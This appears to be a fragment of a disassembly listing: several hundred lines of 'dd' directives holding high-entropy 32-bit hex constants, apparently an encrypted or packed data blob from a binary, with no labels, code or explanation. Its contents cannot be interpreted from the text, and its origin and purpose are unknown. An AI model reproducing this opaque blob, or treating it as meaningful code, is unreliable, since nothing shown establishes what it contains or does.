		dd 551BFC04h, 1CC2D001h, 685200C4h, 84A8259Dh, 0DE829743h
		dd 0AB1D8278h, 45FA690h, 5FF929ECh, 0E6D45E25h,	0BE02E1Dh
		dd 588068ADh, 60C0471Bh, 114FCC09h, 2DC905A2h, 0E989AE7Ch
		dd 6069C2B5h, 28490B4Dh, 6A9D64E3h, 9462FC9h, 244ACF86h
		dd 9C60157h, 0C07ADA0Ch, 1B68DD6Bh, 690C1867h, 1509950h
		dd 455398C3h, 3CD8217Dh, 0F3EEC0C1h, 765E4463h,	4CE3A301h
		dd 71E41311h, 4B87FE9h,	0FBF72D98h, 17DCCA3Ah, 0B8E056E9h
		dd 0FF700BBh, 0CB812B07h, 0F92626EBh, 0C71D710Bh, 0C66860Ch
		dd 48310411h, 0F8DF8915h, 0BBB90002h, 0FD29A7CFh, 571ABF5Fh
		dd 6E76594Ah, 0D6E989E7h, 0A46CC99Bh, 0EAE95F16h, 47B14B1h
		dd 14D5AB92h, 6E7D0527h, 1FEA55A3h, 0C3120766h,	0A9BD8362h
		dd 6A1AB22Ch, 0CD18013Ah, 85BFE901h, 5881316Bh,	12C2B05h
		dd 0C4BB27E9h, 0BE300EE5h, 0C0525A51h, 0E26F23A7h, 68D05D34h
		dd 595A0F07h, 224AB29h,	7EB0595h, 7AD50F68h, 91BA757Dh
		dd 38983B5Eh, 86F3891Fh, 5E960F12h, 36178EFDh, 1E0CF272h
		dd 0F28CD9B3h, 12E13FD4h, 0BD19FD68h, 0E952822Bh, 2D4A5898h
		dd 7971FB01h, 5E1B47C2h, 5A5470E5h, 0DDE9ACA0h,	1245174Fh
		dd 24B62B4Fh, 0E913CC93h, 41D2826h, 80852165h, 4075D5B4h
		dd 7B3368FFh, 7D378D3Eh, 3C77274Dh, 1CB593C4h, 42AC9EE5h
		dd 0A77D18B9h, 638206ADh, 0A708FEAFh, 2C08C551h, 77F02776h
		dd 0CF5A27F0h, 0E5B05424h, 757C3F66h, 2902A414h, 66BC448h
		dd 0D0E535F4h, 56395EF9h, 7B03C366h, 25607295h,	2F96715Ah
		dd 0BF4F5FFAh, 16826927h, 3AB1FA1Fh, 0E3604881h, 80F8B252h
		dd 515EEA04h, 0BBC2D188h, 7429079Ah, 944FF853h,	1F550542h
		dd 0DEB017D9h, 7108A2C5h, 2700AC36h, 0B72F5444h, 59B35A95h
		dd 15E2B54h, 0D9A3946Eh, 0BC1F3BA4h, 18E050D7h,	22B139BDh
		dd 0F8260D30h, 0C14B0EEFh, 0E7D127E0h, 147AF2ECh, 0EB34505Bh
		dd 73B87625h, 5CBBEB01h, 45E01B8Bh, 0A0751EBBh,	6109BC98h
		dd 8071BC1Dh, 4EB3EF33h, 2BD09F6Eh, 29F2E1BFh, 0A8B0C8Eh
		dd 0A46053C9h, 5B5E0568h, 0E59B2431h, 0FB67D57Bh, 7EDAE85h
		dd 0F501D59Eh, 457DA9DAh, 9F3135Bh, 52D425AEh, 137CF59Dh
		dd 0D012E4C7h, 16C2091Ch, 0C176CDD6h, 0FE385E44h, 0F251EC4Fh
		dd 14E1725Ch, 0FEBD3F3Eh, 279CBA00h, 0EA816ED9h, 0F1C770Bh
		dd 279B5436h, 2B84B262h, 2BC5001h, 4BE37BF3h, 870D929h
		dd 87008C2Bh, 4E781CFh,	37462E0Fh, 4FF106F9h, 0AAFC0C3Fh
		dd 54E84D10h, 0F906BB05h, 0D3AA8731h, 0E9A042CAh, 0C7971E52h
		dd 0F5AEB5B0h, 2FB061B0h, 5029F7E4h, 9CA595F1h,	305C05A2h
		dd 257EA6F0h, 0EF835269h, 0B5D09230h, 28B1F8C3h, 0BF5EDAF8h
		dd 76E90241h, 8140B978h, 806CA04h, 3D1D0290h, 60659DAh
		dd 0C60E0012h, 0D63107CDh, 0C4C5895Ah, 5AFB8E6Dh, 90D7C920h
		dd 9E2D84F7h, 4C024B65h, 5F05DCC5h, 3CEE88D4h, 0E6BE66A8h
		dd 126F6088h, 0E84B1368h, 53BDD33Dh, 0BAF7E909h, 0CCEEF5D2h
		dd 0DDF4D6BAh, 74AA041Eh, 1053B093h, 0C32605BEh, 0DB18AC95h
		dd 2AEAD12h, 65A26853h,	54129051h, 92DAF2h, 0CC588C6Fh
		dd 4A24E964h, 0B281F9CEh, 0C0CAFED4h, 17802920h, 428A8C2h
		dd 14FA5AB7h, 7F2E056Ch, 0BD0876BCh, 836617DDh,	0F2DE5D3h
		dd 2596D02Dh, 7EE6D355h, 0EBB2D02Eh, 0AE219E93h, 8E2EB716h
		dd 55EC5A0Dh, 10238B4Eh, 8F0FAF1Eh, 0AE044047h,	4940AA6Eh
		dd 0A05B951h, 0C1531D35h
		dd 1D92A6E1h, 3E92F956h, 0EE1544B6h, 4523C008h,	0B4EDD29h
		dd 40D4C7E0h, 0DA9735B8h, 0BE30F4FCh, 19C1831Dh, 61F74964h
		dd 305291F1h, 0D96CF79Ch, 121404h, 56D38D4h, 15B933E6h
		dd 7C108BFh, 0F818042Ch, 250DC578h, 80B176Dh, 0E79E6B02h
		dd 0CF845905h, 5D0BCA80h, 0C17A2C8Fh, 293500ADh, 0E93FDBC7h
		dd 64243B2Fh, 9D4EBD6Ch, 25EEE5B7h, 0ECE612ABh,	1344284Fh
		dd 0C64B6E0Fh, 0BB1D2057h, 486957EBh, 255AE429h, 0E20BBF5Bh
		dd 12295D5Bh, 76CB18FCh, 16AE8000h, 0E957020Fh,	5590EE5Fh
		dd 5C840B8h, 0C629EADFh, 8AC1AB58h, 8107AE7Bh, 2F1CAD68h
		dd 4EFBDFCCh, 586FDCEFh, 880DB295h, 2B421A7Ch, 8129047Bh
		dd 3D413EFh, 913BD8BFh,	0B42FF419h, 5AD1288h, 0F926C8BEh
		dd 1FFB07C3h, 1DB4AA45h, 6B5252E0h, 7704E55Dh, 3573F086h
		dd 0D66AD20Eh, 0DB9EA16Dh, 0C9FCBD10h, 175B9782h, 93470D82h
		dd 205A583Dh, 46A1860Eh, 4B8A3CE4h, 9698881h, 0E64BA473h
		dd 0A4171618h, 5AAF4BB4h, 0EE2638FEh, 3EF19786h, 7EA5B869h
		dd 82249501h, 2768BC6Eh, 0F643404Eh, 0E705171Ch, 407D1620h
		dd 78832D07h, 0F7005116h, 72BC0DD0h, 35495Bh, 1CC1306Eh
		dd 0E6D8132Dh, 0C589CE17h, 0E492413h, 4A5A4188h, 0E424E26Bh
		dd 0C33788BFh, 0BED56C41h, 2A20BA6h, 25BA7DC5h,	5711427Fh
		dd 0ABE9E690h, 0D05127C9h, 53E60B7Fh, 71D36AC4h, 0F3810CA0h
		dd 0D4040799h, 0EDE562D3h, 6C173CCBh, 93D5B389h, 5D4867F2h
		dd 0C6680D04h, 0D350EE46h, 55404808h, 21A7E04Bh, 3E5120A9h
		dd 5DE92428h, 0BB00BC74h, 3B7E647Ah, 449CDA31h,	5AD5E958h
		dd 0ED87C89Ah, 48ADBC9Ch, 0DDDBEF81h, 0BF7C6DBDh, 3444E0A5h
		dd 15C69D9Ch, 18586614h, 16229DBFh, 63346850h, 0ECC85729h
		dd 6B5F4607h, 0C737E067h, 0E7C14F90h, 0F9E92D07h, 4A5D746Ah
		dd 0D5F34A9Fh, 0E92D499Eh, 0CE3EC247h, 0F460ED8Bh, 1006600Eh
		dd 3E48C3B9h, 3260F48h,	3A094317h, 75B3FAE9h, 2E613E1Ah
		dd 2D1381BBh, 0CE0EF92Ah, 365E3EDh, 7D02E72Eh, 51F9812Dh
		dd 0C7680669h, 1DE8996Dh, 7E1A6ABFh, 25575176h,	0F5216E39h
		dd 0B8D875Ah, 62856B60h, 9C3256Fh, 696D799Ch, 0F9D5CFEh
		dd 5D41E804h, 0CA0183EBh, 0D83C74E1h, 48141FCDh, 1E9217C0h
		dd 0E81393E3h, 0EC404BACh, 5949758h, 0AC2DE916h, 0B6B8BF4h
		dd 2131C565h, 0CE01498Bh, 60B22CFCh, 3A3EF66Ch,	270BB43h
		dd 0C139AACEh, 4ABC4125h, 0C02F8D31h, 8AC4D9A3h, 0BCA1FE5Ah
		dd 4A4EA2ACh, 0BA442C22h, 2F438DDFh, 0A30E899h,	93C360CCh
		dd 6B45DCEBh, 0F15A1D25h, 0F1F68922h, 0EF0E90D5h, 3578203h
		dd 0F0A8CEF4h, 987CB551h, 227FE936h, 0D8540Ah, 98D6C225h
		dd 9DEFDDAAh, 19428DECh, 0D36A8D15h, 36E6680Bh,	0E46F8FD4h
		dd 198DC582h, 3D767E1h,	2009EFBDh, 27D926C3h, 5B39BB0Dh
		dd 48B0AF92h, 125704F7h, 0BF6AB151h, 3091AB12h,	0FD2605DAh
		dd 0F2C62E12h, 5E54C75h, 6F91724Bh, 4F4F30C3h, 0B7A2E80Dh
		dd 0D4794B33h, 0C9810600h, 0D39E72C0h, 0F3BCE905h, 8DAB6F85h
		dd 0D5CC2E6Fh, 0A1680152h, 0E95E1E20h, 5CE57490h, 14B6517Dh
		dd 83A5C152h, 25A23302h, 0A8902166h, 20D669E5h,	0A0F04BD9h
		dd 4518C5E8h, 705FC87h,	92D8855Ah, 0FFA319E2h, 0D331DA9Ch
		dd 0EDE0593Ch, 8088AF04h, 0C2EA5181h, 105EFA11h, 7A04CD6Dh
		dd 0AC773A6Ah, 85D03E27h, 0B3E91A1Dh, 914FCAECh, 0ED37C653h
		dd 0A4002B39h, 4A67ABBEh, 0ADF89552h, 694F4CB7h, 0C682D979h
		dd 5304BA76h, 0AB0482A8h, 10544873h, 0F05B2D06h, 74D18086h
		dd 24D2273Ah, 12051252h, 4978BB44h, 0F08341EBh,	2A16F610h
		dd 5AD51C91h, 1D306AD8h, 2442835Dh, 721E3Ah, 914A33Ch
		dd 0A92DE961h, 0C5C471C5h, 7C24AB58h, 81FD8912h, 6CFA2914h
		dd 9CC47290h, 10DBA3D0h, 5125FB2Fh, 892554C6h, 0DD429AC1h
		dd 0C1E0BD8Ah, 2C1EE068h, 4759CF45h, 130E75B4h,	0E9732CABh
		dd 52A89D2Dh, 0FD8CCCDCh, 7DB6B91Fh, 1867EA47h,	0C1FB7F94h
		dd 7A20DC5Ch, 50FC828h,	4768C8BFh, 51B3A27Ch, 0FECD2AABh
		dd 0ACAECD3Bh, 6C08F310h, 96501DCBh, 58D7800Ah,	140CB353h
		dd 602E3C0h, 0B2F0FE06h, 38229F30h, 0C6774481h,	22F4A2D8h
		dd 64B465A2h, 1D540A19h, 16EA5C07h, 0B6D06C7h, 0BFEC1FD3h
		dd 0F2494A3Ch, 66390990h, 751CAC34h, 30FF631Eh,	27140C1Ah
		dd 81A451E0h, 0F7FCB145h, 0DB9552A8h, 0B1E288D8h, 8E087C2Ch
		dd 9D5B127Ah, 68089325h, 505E2AD2h, 83C8E8DBh, 40BB81C4h
		dd 0C3310122h, 2D6ED935h, 96FD32A1h, 0F14286A7h, 0FFCF6362h
		dd 456DE47Ch, 5F05B468h, 54A4E75h, 0AB21C065h, 743E498Dh
		dd 4C8FBE82h, 92FAB84Ah, 0BC967DB3h, 967D8555h,	20FB9653h
		dd 0EC069E93h, 0F2324198h, 42010D9Ah, 9C5FCCDAh, 36425E7h
		dd 88BDB60Bh, 63B27DF4h, 0B22685FFh, 105A0F0h, 20951F99h
		dd 442DD001h, 90D51C07h, 0F6680BCEh, 0CB615439h, 0A1A19B14h
		dd 27902D09h, 10C480E2h, 0E34E3988h, 0B4D9FC46h, 0BE8452A9h
		dd 0F501090Eh, 18556809h, 94C9C482h, 0BAD75094h, 69305C81h
		dd 60CB7231h, 535008D9h, 254E95E9h, 12884A3h, 67A5201Dh
		dd 7C1554Fh, 0D02B791Fh, 1138E67Dh, 0F2296825h,	3D069DD7h
		dd 0F63B1E57h, 816C1E2Ch, 0C173D740h, 4FE94927h, 0FB3612D6h
		dd 0FB940A3Ch, 568EF669h, 6BC88C37h, 90D9EB44h,	16B85B73h
		dd 0FA75EF0Fh, 0E3042F64h, 8216E65Ch, 207C6F39h, 6AC1A796h
		dd 0E48BEB31h, 0AF69B3FCh, 85C16CC7h, 0E0B49FB8h, 0E0041473h
		dd 0A534FC0Bh, 870EC77Fh, 0AF91EA21h, 0EFA54679h, 0DAE2B917h
		dd 3309DD03h, 0E757D911h, 95CE7980h, 46164D3Eh,	0B94AD9F8h
		dd 0ACCAECFCh, 29CE4AADh, 22D629Eh, 0AAE84E5Ch,	0FCFBC42h
		dd 11F3F50Ah, 0D1880269h, 66452568h, 0F4CFF418h, 0F32E5B57h
		dd 0FC7D7BC9h, 963EE259h, 2DCEC908h, 0C78BFF56h, 5962197Dh
		dd 1E53A874h, 1450EEBBh, 16049328h, 0AFD7A6AFh,	2CBA8DC4h
		dd 42164344h, 0D2203110h, 7023F9C9h, 8B415E14h,	0D1101096h
		dd 0E34B6838h, 7853253Eh, 0B47B4E76h, 0C02E8F60h, 0EE0F40E6h
		dd 0B73DC577h, 4E5FBB98h, 88288D95h, 0E7A5BD9h,	42E9FB09h
		dd 0DCB97141h, 439D8A65h, 0C401A0DAh, 83E92A15h, 0A5BB5FB0h
		dd 0B6826A7Bh, 0F467555Eh, 681492AAh, 0D28475F7h, 7A640609h
		dd 0F6D31DE9h, 6EF149D9h, 5A026742h, 0AA4E8703h, 240BAB2Ah
		dd 7E5ADFF0h, 0B5569288h, 5469FCD1h, 8C1592Ch, 913EFC68h
		dd 0FB5EA713h, 0DE290B3Dh, 8101E05Ah, 2F2FE8E2h, 418F082Eh
		dd 0AC68BD01h, 80F42F64h, 38DC9803h, 1FAD7FEFh,	0D827C756h
		dd 0EEE91383h, 68118CCDh, 594EFD25h, 9053886Bh,	52D3F602h
		dd 0FC79C2B2h, 0BDE95883h, 0BD416F4Bh, 9B6197Eh, 3B8A6270h
		dd 16CB8D60h, 76AD01C3h, 3B27F17Eh, 5DB1D0A0h, 0E0C44C09h
		dd 4E1CE3DAh, 0BE5CB5DCh, 0FA6AC2A2h, 0E9CB0E0Eh, 95945817h
		dd 925CF031h, 5DBC5DC9h, 0A694214Dh, 0EBBF5C84h, 215A7130h
		dd 95F04FBh, 0AE850FDBh, 20C49559h, 70127C41h, 0DCED2C01h
		dd 67938496h, 364EA322h, 36B5E90Eh, 0C1C81004h,	444E50ADh
		dd 0F6C9F260h, 0D2591D53h, 63B12F62h, 68164CE4h, 64BB43A7h
		dd 0B812C034h, 2B5A956Eh, 66430E8h, 0C7EBC403h,	0B4F60514h
		dd 71011150h, 6F0D0F58h, 0C32A960Ah, 0A2BA7B58h, 0F29DD961h
		dd 52257BC5h, 0A7DC6FEAh
		dd 697FE7C0h, 8F9745A1h, 2DDA0343h, 0FFC3DDB7h,	7E97B1D4h
		dd 0ADF8133Ah, 94E58460h, 600F580Bh, 1B4A5210h,	0F761E428h
		dd 6F184DF1h, 3C510CBDh, 0B0B82F0h, 0C8215B22h,	4025767Bh
		dd 4B8D85B4h, 60FEC9A9h, 0E98037ECh, 55DEAA38h,	0ACD1BE09h
		dd 0C9E6D62h, 98A0DDD8h, 0D83F13F8h, 9292F2Eh, 619AD749h
		dd 11BDE01h, 23D1D46Eh,	0A02CF39Dh, 46C50BCDh, 8B773B0Dh
		dd 0EE934009h, 82F59C0Bh, 0C0F2B151h, 3B09DC89h, 0CAABB083h
		dd 0D3F7F302h, 442BF262h, 3E55ECFCh, 0E9899487h, 827305AEh
		dd 0A409E720h, 0D7741D6Ch, 0B64EBF20h, 8D983A0Eh, 0E9C20299h
		dd 7637F8F9h, 9BB7245Eh, 860A6A3h, 68097601h, 5B42DA28h
		dd 0D8AE849Fh, 2C0E0D50h, 0BC1DD069h, 9EF55C0h,	15B3C2Dh
		dd 0A00523C8h, 383FF31Ch, 48594816h, 75E74853h,	0A9ABB003h
		dd 0CFCA05D0h, 0BA297453h, 1607892Dh, 0C168173Ah, 0B7B46010h
		dd 1909E722h, 687F41E9h, 82B5556Eh, 4F095F58h, 0D7058B46h
		dd 27767B00h, 0E92E282Fh, 0DEA77B4Ah, 0E9D2C93Ah, 428F0E0h
		dd 0B527E76Bh, 17465695h, 0BAF7F030h, 18C7DC5Ch, 0F9CC4A40h
		dd 6643275Bh, 6830D55Eh, 2829236Fh, 72E00969h, 5D075468h
		dd 95A9F8E9h, 0FC273C67h, 88E95012h, 66167694h,	2B82B10Fh
		dd 5B2A58C9h, 0CD0FD2Dh, 0C71D3668h, 0E925B729h, 0DF5BEDEDh
		dd 0C51256C9h, 4BC0A055h, 0BA0E245Ah, 0BBF9456h, 0F224F84Ah
		dd 0FD2CFB5Ah, 2BC8B783h, 6695CCCAh, 4FA0F2B7h,	9390EDF5h
		dd 0C3020CA2h, 70870B97h, 0ECDC0DE3h, 73EF8172h, 89C5C2DDh
		dd 4298EB39h, 2D750214h, 0F2973FB0h, 0D8E9130Ch, 5020A2B3h
		dd 0B7B81DB2h, 40CA78B7h, 0B299F601h, 0C860FF0Bh, 3B27FABFh
		dd 0C6027EB7h, 14A458E5h, 74E4BF90h, 56EE28BCh,	405FB288h
		dd 0D0C05DA0h, 784F76AFh, 0C4F34801h, 0C810841h, 2C4A649Dh
		dd 0BD232B5Eh, 0B88749BCh, 0C9040958h, 80404D6Fh, 0C354D724h
		dd 0E7026D7Fh, 15E95505h, 7C19571Eh, 0B941819Ch, 5B912953h
		dd 12E803Bh, 0BA0552C3h, 402D4F1Fh, 4B1416C0h, 76D3A2D1h
		dd 7A53A744h, 424B263Eh, 4308EBACh, 285B056Ah, 0B5A204E8h
		dd 0DDADE572h, 0ECB66A6Ch, 0D8BA6813h, 551C3C82h, 0BDCC1FD4h
		dd 4E290D38h, 84E0B9EAh, 0FC18EF14h, 51139CDCh,	9C5601B0h
		dd 13841904h, 0A584540Ch, 0BA17DF96h, 0D25352BBh, 6AF7ED4Eh
		dd 1D41DF62h, 0C87CE291h, 0D8636BEFh, 8DCF957Ch, 0CE9CCB28h
		dd 812DF5C9h, 0B1B56B34h, 0BD7618ADh, 36DA03A7h, 0E55F4F9Ch
		dd 2BD7E96Ch, 3FFFBF1Ch, 400E8375h, 9D0F748h, 0BA1C0504h
		dd 0AA294605h, 25681888h, 665F11h, 5080DDEEh, 69EBEE56h
		dd 778269E5h, 16903A48h, 3BBF0F6Bh, 0B4F895B3h,	0EE5F8284h
		dd 42E49C24h, 59C37E88h, 365005C0h, 1666BCA6h, 0A2BB275Bh
		dd 127F18CDh, 21618284h, 54E309D2h, 6DA4C4C1h, 0D0070144h
		dd 8CC680E6h, 0E156126Fh, 42A5375h, 75B753D8h, 4202E92Eh
		dd 9DFF689h, 5E2A6273h,	8F8C3132h, 0CB139879h, 0D3C5C788h
		dd 5148BDC5h, 48DD3B3Fh, 0D6ABE5DBh, 72B50C20h,	27B3832Ch
		dd 907C9F44h, 0F608D62h, 0A5EF1A6h, 61BD660Eh, 3007923Ah
		dd 0F7935013h, 945E3D5h, 2C7CD14h, 4E5FD83h, 0B4F51201h
		dd 0DB18E933h, 93557A74h, 0EA54122Eh, 0A65D972Ch, 6C5525Bh
		dd 0AB925589h, 969ADBC1h, 6EEC01AFh, 0FAE4244Ch, 64B3C5C2h
		dd 919F2056h, 6B0019B0h, 8139D52Ah, 7592DE3h, 0E9437988h
		dd 0E67C2B0Ch, 958A6C2h, 84E604h, 1467C781h, 0ECEF4EB8h
		dd 19468091h, 68293956h, 2408B8CDh, 403003D9h, 0CCF76E3Fh
		dd 9D2FE959h, 64F24606h, 805EBD02h, 4E0496B3h, 42446C48h
		dd 8705A14h, 0BD627568h, 9E180E9Ah, 64066EEEh, 0FE011F3Dh
		dd 7C088236h, 1C0B7014h, 0F6594082h, 709B1249h,	129CA821h
		dd 28BB1160h, 0B7D6E555h, 0EC48A9FCh, 17628BC4h, 0AF6017BEh
		dd 0A72EF229h, 0E913984Ch, 9E01BDD5h, 0CCBEF280h, 284E8FC3h
		dd 9875E6B8h, 0EE5F20C4h, 538D6812h, 0F4C003BCh, 0E92D0D2Eh
		dd 5AFB2227h, 7D1427D0h, 76ADED7Bh, 0A4BA65ABh,	0D058215Fh
		dd 2DAC9710h, 635469E5h, 0A1497A36h, 54D02FEBh,	0D3321AEBh
		dd 4BD0A375h, 5BC116DBh, 0F71F3320h, 0F960EF9Ch, 0BD0106E9h
		dd 30FE44B9h, 6741575Bh, 0E391F17Ah, 3EBAF1D5h,	5D078D31h
		dd 0D4FEBE01h, 0E5A070DEh, 0F22ED012h, 31BF73B2h, 5AD19F9Ch
		dd 2521E22Eh, 0E30D5902h, 61182CD2h, 43CB5CD7h,	345973Dh
		dd 0B7B46C2Fh, 7CF058B0h, 9B05F824h, 61326A81h,	2830DDF7h
		dd 0FE411850h, 599E0C2Ah, 0D8B22B25h, 5AF09C93h, 0F2CBA8D4h
		dd 0B34D5E2Ch, 0FA84EECh, 2D9A0189h, 0C622B155h, 0F7BBCC50h
		dd 0F478F816h, 3E4ABD94h, 6B8BB841h, 65AF2484h,	35648160h
		dd 77412E69h, 2A2B217Ah, 9981F907h, 476F0D94h, 0FE0355D3h
		dd 1C40835Eh, 0F681728Ch, 2E021225h, 0E00B01Dh,	0DF48C026h
		dd 0BD746301h, 7FD9497Eh, 695ED56Ch, 7BC7710Dh,	4B586ED8h
		dd 16A7E6B6h, 31BA1A57h, 2B78A257h, 0ECB3BA24h,	0B2B05000h
		dd 98E9C288h, 1E37CE4Fh, 0CF02C94h, 0DBF42C80h,	2C921C79h
		dd 6DEE1D7Eh, 3FFBEB31h, 0B753BDE0h, 0FE6B8E5Bh, 3B68C0A3h
		dd 5B1C8E08h, 47272AE9h, 98992CABh, 49B89FE1h, 42AC3F16h
		dd 809334ABh, 255D95C1h, 0A00F8701h, 48E9516Fh,	0A05FBC6Ch
		dd 321FB255h, 0AF3F28D3h, 52C3D491h, 0A007C960h, 0D44BB0B9h
		dd 60A1220Fh, 77B3CE43h, 56923CA4h, 59E66813h, 67C1438Dh
		dd 94D0A13Ch, 0AF1B045Eh, 7E0E1275h, 82C269ABh,	7AB61E66h
		dd 0BA60D3A6h, 6A0C7658h, 7482205Eh, 4E654B03h,	0DEB7E960h
		dd 0B49EC6DBh, 0E604B797h, 0F217713h, 842BC1AAh, 0FEA72F14h
		dd 8518645Fh, 0BD00AE43h, 29FE5926h, 2D7FE6B8h,	1F60A298h
		dd 5E8C140h, 36BF2500h,	32350946h, 0B0445E10h, 69169B4Eh
		dd 87A92C41h, 0BD580840h, 964AA6DAh, 63BE9A85h,	0C55B36B7h
		dd 0B527BAB9h, 41F294ECh, 9CA0C3E0h, 7E83E4A6h,	0E0D1338Ah
		dd 603030Ah, 0EC60508h,	0C7FA137Dh, 0D80E0C58h,	302D5930h
		dd 68EC81F8h, 716E401Ah, 5088F06h, 0FA6085BAh, 5CED7E78h
		dd 0C6B0C771h, 8D056952h, 3E6C12Ch, 0DF9AC9C2h,	2AB70B6Eh
		dd 3A0833CFh, 845827C3h, 12FE2920h, 0D1F83166h,	3E60BFD1h
		dd 0D0895161h, 0A502013Ah, 0CC66DB29h, 0A4F5E9F2h, 0F2254D4Fh
		dd 0EDBE8066h, 970A9802h, 0A0B8C3E7h, 6252B059h, 9347E372h
		dd 0F6EAB600h, 6FF590D6h, 0EA77060Dh, 0DD0CD419h, 1F5AF3C0h
		dd 0C05BD908h, 0B3537FC1h, 0E35AC044h, 86457283h, 927BE1Eh
		dd 0CBD9D870h, 0FE9909CBh, 5FFE8BDEh, 0E941D351h, 22A7F2AAh
		dd 929201D4h, 955687B0h, 16E54BCAh, 2493232Ah, 575BDE89h
		dd 822CD3B0h, 542590B7h, 0D7CEBF8Bh, 26FD0DD3h,	17D61AC4h
		dd 934BF9A9h, 3DF25E6Bh, 7E5EACA9h, 0FF96577Ah,	4CC33139h
		dd 1F1E28C3h, 3B2608EEh, 641F8F83h, 49F5C86Dh, 48DD82CFh
		dd 0BD58C1E7h, 0C80982F3h, 60B61A66h, 0B740B0F4h, 0B76C9C02h
		dd 5257165h, 5D93ECC0h,	7B01AB80h, 5A9C2EF9h, 0CEC26BAEh
		dd 96AD9E77h, 7B0F88E0h, 32D3641Ch, 0E585008h, 0D3275BBAh
		dd 0B28CAF6Dh, 0FD28ED89h, 522FA68Dh, 6217ABAh,	0CFE9D701h
		dd 5D0E26C7h, 246D2D48h, 0A2817AAAh, 0CE07C580h, 0C6583C6h
		dd 0D1B6B0B2h, 0A045A505h, 0C1B114C1h, 68168073h, 9335BEA2h
		dd 99AA0818h, 17BB7205h
		dd 0ECFA669Bh, 0A9054A63h, 0EF90825h, 82DB5E34h, 18E150AFh
		dd 0CE443F15h, 0CAEA175Bh, 0EDB8194Ah, 206A1CFDh, 542E8FFAh
		dd 82F31750h, 24BD0E07h, 0EA85CA01h, 0D759080Ah, 0F19FCA22h
		dd 6E9E20Fh, 0F06EAEA9h, 59D9FFAh, 2CFF5F9Eh, 30D3FE5Eh
		dd 0D35700A0h, 64B40DD5h, 0E4F37E37h, 5A66750Eh, 0D8284281h
		dd 39E9D004h, 6B4624Ah,	2CF390F7h, 37315B3h, 0D328D9B2h
		dd 0F325347Fh, 0CED0C5Ch, 0DC8826E6h, 0C3C40C1Ah, 38900106h
		dd 0AAFBE380h, 16A63591h, 566D12CBh, 92847910h,	0C70901C3h
		dd 5EB369EAh, 8D166673h, 82CA37EDh, 0A2756888h,	0A1729146h
		dd 67A0AD2h, 0FA01C268h, 89AFF985h, 1E541D6h, 8AFA05B5h
		dd 0F3E3925Ah, 0B10BBCD2h, 313A0AE9h, 0E954506Bh, 72D13EE8h
		dd 0A50755B9h, 5A4ED06Eh, 84EE0C0h, 0E0C2B40Eh,	6D2C02E8h
		dd 0B7C65A30h, 28D39051h, 0DD65C8B6h, 0CB0C6606h, 4C150661h
		dd 0C0169120h, 0B76304EEh, 0CA050BBDh, 202A72FDh, 8016D4CDh
		dd 8BB0B2C6h, 0C707B52Ch, 565B1203h, 12B4EE7Dh,	8C1AE768h
		dd 5305B2E8h, 0D5F77F64h, 15513BBh, 0E368015Ah,	0C15A6857h
		dd 75D24062h, 0B043A46Bh, 5372F39h, 4E3A6853h, 0F700DBB3h
		dd 0BB48500Ch, 98711E1Dh, 5EF3291Ch, 810047ECh,	726F08F1h
		dd 0EC3D986Bh, 15EC272Dh, 1E08EF28h, 5DEE4A59h,	0B0A664D3h
		dd 519D21FBh, 607F1D4Eh, 19740D0Bh, 4077C75h, 0FADEB9FBh
		dd 0F681D500h, 0FAA404BEh, 0E9F73E09h, 4FE786AFh, 56AFBA17h
		dd 0C070B145h, 61B52619h, 0E22B081Fh, 8CE9B0E7h, 0ED4CB27Eh
		dd 6585496Dh, 5F4B8A56h, 0E535D2A2h, 0F3870439h, 0EBCCAABAh
		dd 0C11812AAh, 0A121FB22h, 590211C8h, 82548CF6h, 0EEC0C495h
		dd 0CBB79C3Dh, 0FEF807Fh, 0BD1E8163h, 582F48C8h, 0C6EFADC0h
		dd 0C1233940h, 0EA04BC0Ch, 33006074h, 0DA60D841h, 49372B68h
		dd 710B3DA5h, 0FF7E7AE0h, 0F947C62h, 8A511712h,	879D50C6h
		dd 25E1C4BDh, 0F3C6886Ah, 796F962Dh, 15E2CA05h,	0D03BBC5Ch
		dd 15BB2A95h, 54250C58h, 0B612A456h, 0D7E91DC1h, 0C860166Bh
		dd 0C6624154h, 7F583237h, 570F5B80h, 17644C5h, 367B95A0h
		dd 686FC604h, 30FB291Ah, 76082068h, 0D7FC30FFh,	5AC2D582h
		dd 0EBE40A85h, 6BB0164h, 0B5607B7Bh, 9E9855ABh,	0B5FB40Dh
		dd 804F7F5h, 2CD9182h, 28E8EAC0h, 31700462h, 8058C20Eh
		dd 1FFF5CCAh, 3E5E901h,	3DDBB293h, 0B616F314h, 11CBA3CEh
		dd 0C2027638h, 0FDC15E7h, 84628D5h, 262AF030h, 0F70A2EE5h
		dd 0F8520807h, 11C1053Eh, 0A6803F22h, 4E0559DCh, 7688BC63h
		dd 0DEAC5A4Ah, 9ED55BE2h, 8B279F86h, 0FE53FF5Ch, 9D90F92Ch
		dd 0D730B802h, 0C5F76CC8h, 28AF06C0h, 4B4FE9FEh, 0A517A86Ah
		dd 0BD5A8DA7h, 8C68C412h, 10776609h, 80CCF279h,	282B67B1h
		dd 7CA658CAh, 7C05B426h, 7AF09B1h, 982CB4h, 860CE9C8h
		dd 113CF99h, 114C13B9h,	0F9A76B3Fh, 0E588E95Ch,	66B56077h
		dd 0F633F586h, 1AFE08D6h, 385BEDE0h, 0A5CA635Fh, 737A4AC1h
		dd 5074B5A5h, 0B3FB879Eh, 41D0C695h, 4AF70A0Ah,	1EA71323h
		dd 0E078D70Bh, 0BCA45EE3h, 6A8BC351h, 50663BA4h, 40998E8Fh
		dd 0C8C28353h, 4C3F0768h, 58F10CF2h, 0FA6847A1h, 0EC723E9Eh
		dd 85944AF7h, 7622E7DBh, 0BD536088h, 60A6D915h,	61D3D1A5h
		dd 3B015D5Eh, 312ADA6h,	928CB37Ah, 8BF3E6ACh, 6873CCC5h
		dd 6622B525h, 0A39A20B5h, 0A4515997h, 191F0190h, 2A2DBAC5h
		dd 525A5A8h, 0D5B00B55h, 82444082h, 0BDE894FDh,	4CC254D9h
		dd 8C6BD9E8h, 0CAB70593h, 6A0ADC90h, 6C0B043Fh,	0A0DCF1E9h
		dd 0B00C44B0h, 0C02A5241h, 2C7A3528h, 0D603292Dh, 4BD62796h
		dd 0C6280639h, 0BDE0190h, 7C9512CEh, 8A04CDCh, 6D5575CBh
		dd 0B9E985D9h, 947BD512h, 3E95BED0h, 0B5B66304h, 0B707490Bh
		dd 54A0D279h, 48122878h, 0B5A031E9h, 0B201975Ch, 7E461904h
		dd 0AE20C6C0h, 96E95C3Dh, 0E24BE249h, 42D1A4FEh, 213D5AB5h
		dd 95359C5h, 94DC9CEAh,	5F766870h, 56062222h, 0E99D5047h
